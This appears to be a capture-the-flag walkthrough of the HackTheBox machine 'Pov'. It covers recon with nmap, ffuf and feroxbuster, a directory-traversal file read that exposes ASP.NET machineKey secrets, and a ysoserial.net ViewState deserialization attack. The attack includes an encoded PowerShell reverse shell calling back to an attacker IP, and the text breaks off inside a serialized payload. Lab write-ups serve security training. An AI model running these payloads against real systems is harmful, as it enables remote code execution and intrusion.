HTB: Pov
Pov offers only a web port. I’ll abuse a file read and directory traversal in the web page to read the ASP.NET secrets used for VIEWSTATE, and then use ysoserial.net to make a malicious serlialized .NET payload to get execution. I’ll pivot on a PowerShell credential, and then abuse SeDebugPrivilege through both Metasploit and via a PowerShell script, psgetsys.ps1.
Box Info
Name | Pov Play on HackTheBox |
---|---|
Release Date | 27 Jan 2024 |
Retire Date | 08 Jun 2024 |
OS | Windows |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
00:29:50 |
|
00:42:33 |
|
Creator |
Recon
nmap
nmap
finds only a single open TCP port, HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.251
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-03 12:50 EDT
Nmap scan report for 10.10.11.251
Host is up (0.093s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
oxdf@hacky$ nmap -p 80 -sCV 10.10.11.251
Starting Nmap 7.80 ( https://nmap.org ) at 2024-06-03 12:50 EDT
Nmap scan report for 10.10.11.251
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: pov.htb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds
Based on the IIS version the host is running a modern Windows OS.
The title of the page is pov.htb
.
Subdomain Brute Force
Given the reference to the domain name, I’ll use ffuf
to brute force for any subdomains of pov.htb
that return something different from the default page:
oxdf@hacky$ ffuf -u http://10.10.11.251 -H "Host: FUZZ.pov.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.251
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.pov.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
dev [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 698ms]
:: Progress: [19966/19966] :: Job [1/1] :: 430 req/sec :: Duration: [0:00:47] :: Errors: 0 ::
Almost immediately it finds dev.pov.htb
. I’ll add both of these to my /etc/hosts
file that I can interact with these domains:
10.10.11.251 pov.htb dev.pov.htb
pov.htb - TCP 80
Site
The site is for a cybersecurity monitoring service:
All of the links on the page go nowhere. The “Contact Us” form doesn’t even submit the input data, so that’s just a placeholder.
There is an email address on the page, sfitz@pov.htb
.
Tech Stack
The HTTP response headers show both IIS and ASP.NET
:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 11 Jan 2024 15:08:44 GMT
Accept-Ranges: bytes
ETag: "0668111a044da1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jun 2024 20:21:31 GMT
Connection: close
Content-Length: 12330
This suggests I could see .aspx
pages if there’s any dynamic content.
The main page loads as index.html
, suggesting it’s a static page.
The 404 page is a standard IIS 404.
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x aspx
since I know the site is using ASP.NET
, and with a lowercase wordlist since the server is IIS:
oxdf@hacky$ feroxbuster -u http://pov.htb -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://pov.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 40l 156w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 2l 10w 141c http://pov.htb/js => http://pov.htb/js/
301 GET 2l 10w 142c http://pov.htb/css => http://pov.htb/css/
301 GET 2l 10w 142c http://pov.htb/img => http://pov.htb/img/
200 GET 234l 834w 12330c http://pov.htb/
400 GET 6l 26w 324c http://pov.htb/error%1F_log
400 GET 6l 26w 324c http://pov.htb/error%1F_log.aspx
400 GET 6l 26w 324c http://pov.htb/js/error%1F_log
400 GET 6l 26w 324c http://pov.htb/img/error%1F_log
400 GET 6l 26w 324c http://pov.htb/js/error%1F_log.aspx
400 GET 6l 26w 324c http://pov.htb/css/error%1F_log
400 GET 6l 26w 324c http://pov.htb/css/error%1F_log.aspx
400 GET 6l 26w 324c http://pov.htb/img/error%1F_log.aspx
[####################] - 3m 106336/106336 0s found:12 errors:0
[####################] - 3m 26584/26584 127/s http://pov.htb/
[####################] - 3m 26584/26584 127/s http://pov.htb/js/
[####################] - 3m 26584/26584 127/s http://pov.htb/css/
[####################] - 3m 26584/26584 127/s http://pov.htb/img/
Nothing interesting here.
dev.pov.htb - TCP 80
Site
The site root redirects to /portfolio
, which is a portfolio for a web developer:
There’s a reference to ASP.NET
in bold in the intro paragraph:
One testimonial says that the he’s good, but not great in ASP.NET
security:
All the links except one go to places on the same page. The “Download CV” link calls JavaScript __doPostBack('download', '')
:
Clicking the button downloads and opens a PDF in a new tab:
Tech Stack
The response headers here show it’s also powered by ASP.NET
:
HTTP/1.1 200 OK
Content-Type: application/javascript
Last-Modified: Mon, 23 Oct 2023 23:38:26 GMT
Accept-Ranges: bytes
ETag: "f294445a6da1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Mon, 03 Jun 2024 20:47:35 GMT
Connection: close
Content-Length: 280364
I’ll take a guess at file extensions, but my bad guesses return 302 redirects to default.aspx
, which matches ASP.NET
.
Directory Brute Force
I’ll run feroxbuster
against the site, and include -x aspx
since I know the site is using ASP.NET
, and with a lowercase wordlist since the server is IIS:
oxdf@hacky$ feroxbuster -u http://dev.pov.htb -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dev.pov.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 2l 10w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 29l 95w 1245c http://dev.pov.htb/bin
404 GET 29l 95w 1245c http://dev.pov.htb/app_code
404 GET 29l 95w 1245c http://dev.pov.htb/app_data
404 GET 29l 95w 1245c http://dev.pov.htb/app_browsers
302 GET 2l 11w 165c http://dev.pov.htb/style%20library => http://dev.pov.htb/portfolio/style library
302 GET 3l 8w 149c http://dev.pov.htb/con => http://dev.pov.htb/default.aspx?aspxerrorpath=/con
302 GET 3l 8w 154c http://dev.pov.htb/con.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/con.aspx
302 GET 3l 8w 149c http://dev.pov.htb/aux => http://dev.pov.htb/default.aspx?aspxerrorpath=/aux
302 GET 3l 8w 154c http://dev.pov.htb/aux.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/aux.aspx
302 GET 2l 11w 163c http://dev.pov.htb/donate%20cash => http://dev.pov.htb/portfolio/donate cash
302 GET 2l 11w 168c http://dev.pov.htb/donate%20cash.aspx => http://dev.pov.htb/portfolio/donate cash.aspx
302 GET 2l 11w 166c http://dev.pov.htb/planned%20giving => http://dev.pov.htb/portfolio/planned giving
302 GET 2l 11w 171c http://dev.pov.htb/planned%20giving.aspx => http://dev.pov.htb/portfolio/planned giving.aspx
302 GET 2l 11w 171c http://dev.pov.htb/press%20releases.aspx => http://dev.pov.htb/portfolio/press releases.aspx
302 GET 2l 11w 165c http://dev.pov.htb/site%20map.aspx => http://dev.pov.htb/portfolio/site map.aspx
302 GET 2l 11w 164c http://dev.pov.htb/bequest%20gift => http://dev.pov.htb/portfolio/bequest gift
302 GET 2l 11w 162c http://dev.pov.htb/new%20folder => http://dev.pov.htb/portfolio/new folder
302 GET 2l 11w 167c http://dev.pov.htb/new%20folder.aspx => http://dev.pov.htb/portfolio/new folder.aspx
302 GET 2l 11w 163c http://dev.pov.htb/site%20assets => http://dev.pov.htb/portfolio/site assets
302 GET 2l 11w 168c http://dev.pov.htb/site%20assets.aspx => http://dev.pov.htb/portfolio/site assets.aspx
400 GET 6l 26w 324c http://dev.pov.htb/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/error%1F_log.aspx
302 GET 3l 8w 149c http://dev.pov.htb/prn => http://dev.pov.htb/default.aspx?aspxerrorpath=/prn
302 GET 3l 8w 154c http://dev.pov.htb/prn.aspx => http://dev.pov.htb/default.aspx?aspxerrorpath=/prn.aspx
[####################] - 6m 26584/26584 0s found:24 errors:0
[####################] - 6m 26584/26584 66/s http://dev.pov.htb/
There’s a bunch of redirects that go to /portfolio
, but feroxbuster
doesn’t find that path on its own. Nothing else looks very interesting. I’ll run again there as well:
oxdf@hacky$ feroxbuster -u http://dev.pov.htb/portfolio -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x aspx
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://dev.pov.htb/portfolio
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.9.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [aspx]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 3l 8w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 2l 10w 161c http://dev.pov.htb/portfolio => http://dev.pov.htb/portfolio/portfolio
302 GET 2l 10w 157c http://dev.pov.htb/.aspx => http://dev.pov.htb/portfolio/.aspx
200 GET 106l 271w 4691c http://dev.pov.htb/portfolio/contact.aspx
301 GET 2l 10w 159c http://dev.pov.htb/portfolio/assets => http://dev.pov.htb/portfolio/assets/
301 GET 2l 10w 162c http://dev.pov.htb/portfolio/assets/js => http://dev.pov.htb/portfolio/assets/js/
301 GET 2l 10w 163c http://dev.pov.htb/portfolio/assets/css => http://dev.pov.htb/portfolio/assets/css/
200 GET 423l 1217w 21371c http://dev.pov.htb/portfolio/default.aspx
301 GET 2l 10w 164c http://dev.pov.htb/portfolio/assets/imgs => http://dev.pov.htb/portfolio/assets/imgs/
301 GET 2l 10w 167c http://dev.pov.htb/portfolio/assets/vendors => http://dev.pov.htb/portfolio/assets/vendors/
301 GET 2l 10w 174c http://dev.pov.htb/portfolio/assets/vendors/jquery => http://dev.pov.htb/portfolio/assets/vendors/jquery/
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/js/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/js/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/css/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/css/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/imgs/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/imgs/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/vendors/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/vendors/error%1F_log.aspx
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/vendors/jquery/error%1F_log
400 GET 6l 26w 324c http://dev.pov.htb/portfolio/assets/vendors/jquery/error%1F_log.aspx
[####################] - 7m 186088/186088 0s found:24 errors:0
[####################] - 6m 26584/26584 63/s http://dev.pov.htb/portfolio/
[####################] - 7m 26584/26584 63/s http://dev.pov.htb/portfolio/assets/
[####################] - 7m 26584/26584 62/s http://dev.pov.htb/portfolio/assets/js/
[####################] - 7m 26584/26584 62/s http://dev.pov.htb/portfolio/assets/css/
[####################] - 7m 26584/26584 62/s http://dev.pov.htb/portfolio/assets/imgs/
[####################] - 7m 26584/26584 62/s http://dev.pov.htb/portfolio/assets/vendors/
[####################] - 6m 26584/26584 63/s http://dev.pov.htb/portfolio/assets/vendors/jquery/
There’s the default.aspx
I identified by guessing, as well as contact.aspx
.
contact.aspx
This is a bad looking Contact form (almost looks like a mobile site):
Submitting to this form does send the data, though there’s no sign that anything is done with it. If I get stuck, I can try blind XSS here, but I won’t need to.
Shell as sfitz
CV Request Analysis
I’ll find the request that is sent when I click “Download CV” in Burp and send it to Repeater (I also like to clear out some unneeded HTTP headers in the request):
There’s a few interesting things here:
- It’s using
VIEWSTATE
, which is a method in Windows ASP.NET applications where session data can be sent down to the user and then back in the next request, allowing the server to not have to store it. In order to secure this, there data is encrypted using a secret stored by the server so that an attacker can’t modify the data without that secret. - The filename is given in the
file
parameter.
File Read
POC
Given that the request is asking for a file, I’ll try asking for other files as well. I know there’s a default.aspx
, and I can read it:
Source Analysis
default.aspx
is almost entirely static HTML, but there is the include at the top that brings in C# code. I can read index.aspx.cs
as well:
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
using System.Net;
public partial class index : System.Web.UI.Page {
protected void Page_Load(object sender, EventArgs e) {
}
protected void Download(object sender, EventArgs e) {
var filePath = file.Value;
filePath = Regex.Replace(filePath, "../", "");
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition","attachment; filename=" + filePath);
Response.TransmitFile(filePath);
Response.End();
}
}
This is the code that does the file read. It is replacing ../
with an empty string, but otherwise it will read basically any file path.
Directory Traversal Read
I wasn’t able to get system-wide file read working with relative paths (even with bypasses like ....//
), but using absolute paths worked fine:
It’s not clear to me why ..\..\..\Windows\System32\drivers\etc\hosts
doesn’t work. Relative paths within the directory do work (as I’ll see shortly). I think that’s because the application is rooted one directory above the current one, and IIS isn’t letting relative paths go outside of it.
View State Exploitation
Read Secrets
The ViewState configuration is set in the site’s web.config
file. There is no web.config
in the current (portfolio
) directory, but there is one up one level:
The same file returns from \webconfig
:
I believe this is not a web.config
file sitting in the root of the C:
drive, but rather reflects that the root of the application is one directory up from the current one.
The full XML file is:
<configuration>
<system.web>
<customErrors mode="On" defaultRedirect="default.aspx" />
<httpRuntime targetFramework="4.5" />
<machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
</system.web>
<system.webServer>
<httpErrors>
<remove statusCode="403" subStatusCode="-1" />
<error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
</httpErrors>
<httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
</system.webServer>
</configuration>
POC Payload
I’ll use ysoserial.net with the following options:
-p ViewState
- Use the ViewState plugin.-g WindowsIdentity
- The gadgets to use. There are a ton to choose from, and many will work here. It’s a bit trial and error, but enough work that it’s not a pain or worth automating.--decryptionalg="AES"
- The decryption algorithm from theweb.config
.--decryptionkey="744...[snip]..."
- The decryption key from theweb.config
.--validationalg="SHA1"
- The validation algorithm from theweb.config
.--validationkey="562...[snip]..."
- The validation key from theweb.config
.--path="/portfolio"
- The path of my current request. This is used to calculate another parameter, the__VIEWSTATEGENERATOR
, and if it doesn’t match, then it will all fail.-c "ping 10.10.14.6"
- The command to run.
This’ll generate a base64-encoded blob:
PS > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "ping 10.10.14.6"
prSDlekDxsPCc%2FrFoMPPcZtsiGjJxbfNS8TDzRAol3FbIEaHaq49D89ZymK3x8s3AZ1rhuJEaUDJlGu6sfxmq7OtIYQaRtmwoHKWcssLsRVl%2BWG0LkBLBvTQ3hQ%2BEEraVu5wMY0MPZmLw%2BoVO7QBLFTLn8tc5334VRNJdh4tTlDl75K6fu1tZuFx3tXW3ZfkmMkpj%2BBTs8BIZOhelwlYLw9C6xvJp0HPOEr9rBhE%2F7721nVZLcszHzeIL5RsydnAamEuUbvX%2FuYMR05EUMVYkO9JIsHisGHqdd%2BJaBRK%2BuI%2Bch3E5m7zdeJoW81sbKfo%2BCc3%2BIGKjtLQl%2FqypRLsm4iH4vcru%2B9EJkLsrKdaOppKzuD%2FSE8pVHfbtl%2BjEafCHU36FAwRX6qD9bUrJdaTkpYWjJngTHm1jULJdSh65GkSELCH5WCNmTFR7UJGYzr%2FDkfAcnwOmb0RFijrMBpwGkiBeJQuzNEw8dC9BOdBj6%2FHuPbARqiMn%2BaXQRqNgw8GrOAWrd2PW6Er%2Bml7JSxDz8CszbYwDixgDVnQTOnCcO8WoJtH0DEdQDrBBTiUDEZgWZAu37JFyNwnig%2B6QknHGudoA3uKlZZtYRm7Dd1yascID5n%2F2RuSgTP%2FQPPp%2F2SuX423kakr%2FDivpUFFHh0Jbfj2ibSQhFbnYNQRszovwescUVcTzFbJsO1LMjDtMKlZqXqWjmUJD%2FYZeOMPWSCTIXDOSnJdihQSqjfQ5YdlWcjY%2BPE4Cl0CAX9CNFgy9iKdz6QbgT8uFOIq2JWhN2zxcO3lXRRjl5sW6X6UNPo%2FJof0cxmYR4SbTGnAXrFGMC%2FhMMFZh%2B%2Bw%2Bd6BkyrpXgwwiM0GBe6v5L5yjOXLH7Kr1nxOw0KVXwl13cNErHU7k7jQ6r7yMgdvs7pGsiNTg7aWuuTW7QL9SJTHHp%2B%2FoCwglvuuHGGp6XATRdippj%2FYzda39FyVDBBNmXGjx87gSs4Evai5Q%2FJJgbv53OA1Y38zPgwAfr5feM9uN2k8zrAAWWuzMnjeEOK4Jpe9Q9L6m3H%2BmVRIH%2Bmb58%2Fj3Y8nv4mnMsdRqEy2F9RchTBg%2BP6aAMSfCiiOv8pfjigBbAGPdBtgI9larZwAdiHfcSAWzLG2Uvp4hNm7uDbLnuTL0UQGH3A6Hu6H6Z6t0bc3PM4%2Fuh36FwSbz56C6sOLls03UeN5OrYtKIDpbX%2FAaPaz459c8dZdhKBNB61pQmilGpgPYTuM1CaPi0BqrPprHIq5N1HQOuu7tyUa9JiI342ESON2Sx1w4J9XFpNR4kjsW9MA%2BkuFbwUcx9vnrqFgd9tmw1voZhhqI9GRndruaRMrPZ4G1tj1UHthEa0sN74xb0kOCjJ4XP7TmKcbtQ8rPi0OAe4CkuB3kbabROFuJnzZLC%2BVLlHsr4fr4jeyz%2FtI%2F4xmBjFd5jyi1w1gsYTyYNDkzM%2F39V%2FTy90SORsZBwdyHej5laRRA2bRxIeHBrdhJ8VS1p9IMyl3TzmaOPbGS3DARJwipikx%2FNy9c1EpD7QvJXtShkuYz0O1wuMlitmnmFyvahlcC%2FgqF5LX7TzAoiC2GR5s8v5WL6A0SeTbr9oONIQ5zFYTvcvv2fyRTQIQ8AbdJWObzHxbxC3xPkbgN0NBlla9MqhdHRJKnHznPg0%2Fn9nwVx1PFPE%2B1KDn3KKvZu1v7HgamwiM2c5PfunuR9fCAwsL2YSYkDXa4gZcfdnnwUM1h2NgwGIKoyMaQtOG36xv54HMH1imCvCCPy6Or2uSpuxcv1vSmsW06xF2U4i6%2BOy71Oc7B5DaQwI2Tk7GqTcoIIty%2BWHptR8p4pJRZGgNYliWiJrRlvlSlt0NSuSHCkQ32o71NH1VVg%3D%3D
With tcpdump
listening for ICMP traffic, I’ll update the __VIEWSTATE
POST parameter in Burp Repeater and send:
It returns immediately. At tcpdump
:
oxdf@hacky$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:56:42.246335 IP pov.htb > hacky: ICMP echo request, id 1, seq 17, length 40
15:56:42.246370 IP hacky > pov.htb: ICMP echo reply, id 1, seq 17, length 40
15:56:43.263910 IP pov.htb > hacky: ICMP echo request, id 1, seq 18, length 40
15:56:43.263938 IP hacky > pov.htb: ICMP echo reply, id 1, seq 18, length 40
15:56:44.279779 IP pov.htb > hacky: ICMP echo request, id 1, seq 19, length 40
15:56:44.279796 IP hacky > pov.htb: ICMP echo reply, id 1, seq 19, length 40
15:56:45.295260 IP pov.htb > hacky: ICMP echo request, id 1, seq 20, length 40
15:56:45.295281 IP hacky > pov.htb: ICMP echo reply, id 1, seq 20, length 40
That’s remote code execution (RCE)!
Shell
I’ll grab a reverse shell from revshells.com, PowerShell #3 (Base64), and update my YSoSerial.NET command, replacing the ping
with the reverse shell:
PS > ysoserial.exe -p ViewState -g WindowsIdentity --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" --path="/portfolio" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
h0s1r1uth1QGyPiXTgvXJev%2Bok7ysOxauVbMFHE5xfWgsblGD2iFZfnCaKhEVRtabAtu0cJ6550ZU2u6btkTKjj6GRl4hbRbdJmRWmS9g8dc9AmuOtfQJ3s0nGNlSH2GP%2BYAiYdv0QvwotiUVy%2FbhHg1z4KcMiBYcAoaaAnrUtJIf3pKzCWxncdXAntYKtj6qC8sfWIg8t2A0x%2BYii4wd6bjPJGggPM6Wk2KGap4%2FX%2Bo9YdPOknaYUjsvHHIY%2BkxGfwpApweZSPXhE0VGVBtQ1g4ajm60wGRIao2BrCRSvHgmuQ1J8zoYA6vhp8k761aUbMtFwwv1fGqOCPj9WzlGL3Pb6M3LhgriWFCYnAi%2F%2Fyl9u%2FgDfB78xRgy04FtezFKMqqJIvNKkj%2FqykLGKNfT58ziZnwOzzsQVz3ZTqZlKQ4Oz2CqIzYqdw1cbjXLuqk1m5MGFKFexTXd1OB%2Fst3NUYb%2FBSjGRI4Gi7uuuxXlCWLq1XJS0AD1K4Tn7YnClvVOctdOIww49o5p8lcln7h0Xi5vpw3rDY%2F76zMk3UI4LzE9cuW%2Bbd8SYRlddRxPuNU1%2BUxcfsIJuk1u8BDGiixjdNMxs9il%2B6mg4ldt1uvcAEk9JOj9Q%2BAI2HiSm7DM0IiFpTFuFv1u2xWoxgsqlRxHQwbUKKNOUvJCI0%2B8HIHflhBYfSzRRDirdIP2hs%2B0kP4F0dEn62qVJmuVCglvG1gW2ZcMaF3ZunukS0QtqwtKNFqfjKbpACNWJoXPzpYBnBVaZOFBPEL%2FPTpTZ48R1W6a1R4ZoJAcvnEaTY%2B5rZTxNvMNxqZ9jZgnHSbF0AyeIdp39%2FdFrT4NLZrDAyhub06VTmELJOdjofkfONCSAelxo%2BSxStBmCp1JNaLhoQ%2BaAPhWLlfmF6IthSUalJL7y0o8Y7zd%2BgnyFseroE%2BV5gfUm5vnnV91koiG4D7sQFmpsuqFpOcSSbSZC%2FGMi74cNX%2BGs6TsY%2FC7Izo0C3A7f7LJVD%2F%2FTdEXU0Owe2bu%2BiAd9NxukFGZkorlHttnwLbP4mN0PzFBoAn0EDoO4QtjJJuf7QiSMheoa%2BqqISuSBZymoWjxgJOMMOUFsJ5dNjM%2F9WQbwa0kspTaDtLFN7HEmRYYn%2BLd8260eonNBloXHyxd4o%2FTZvSQTyuEQEhMbHQqxQIVZy4CpG9mEGnDqKVA%2BNzNW2FsothP2xsdFyX5FQjNgO80oSSkvBwZhIgvFo4BM2Sdbm7J15qSc7jRZg9L56HwiJc2ZcsDThQw6Ilzh85Fi0dJ3PdR7tnawDZdgP%2FFX6aEihlTHQe1SEpUj5va3rbaqw8EzrE75hgad4z7uRs5uoDCKYh%2BjMTh%2FHLVVKtM9S15Kibp23DURsTk%2BNOCno4IB2%2F46kExKFZDU8qZNL3L6h0LiIR4SzbjSPlE6Vv00SpQBaV2NE6id8g7PHGSiUK8MtiHvDtppxuJ1KFGdCeB1kxw%2BkDj8gtFBbcQNd5c%2F3GceYEKmh%2FrxayqRD8QCcd6c3DNiAhLx62ofu0TWPHQk9Y8pi0VOwImH4hU8ZWn8j8DJ83efdegXTHyLGMSYoUv5F8yEP8TqTyRAigBBTcjyk2jbQZyVGY1Y3o0xidLlHaKUyfVrqbTzS1x71kX3%2BAUcb0AvOwYXKFKi2AsyjiZXgncFYLGF6TTci9xL0zFvpeHMCp4Yu6YQYGo69oqdzTHxLZ0Foyy1TuWK9Ld42dAIq1%2FMsqaGNsY63Sm7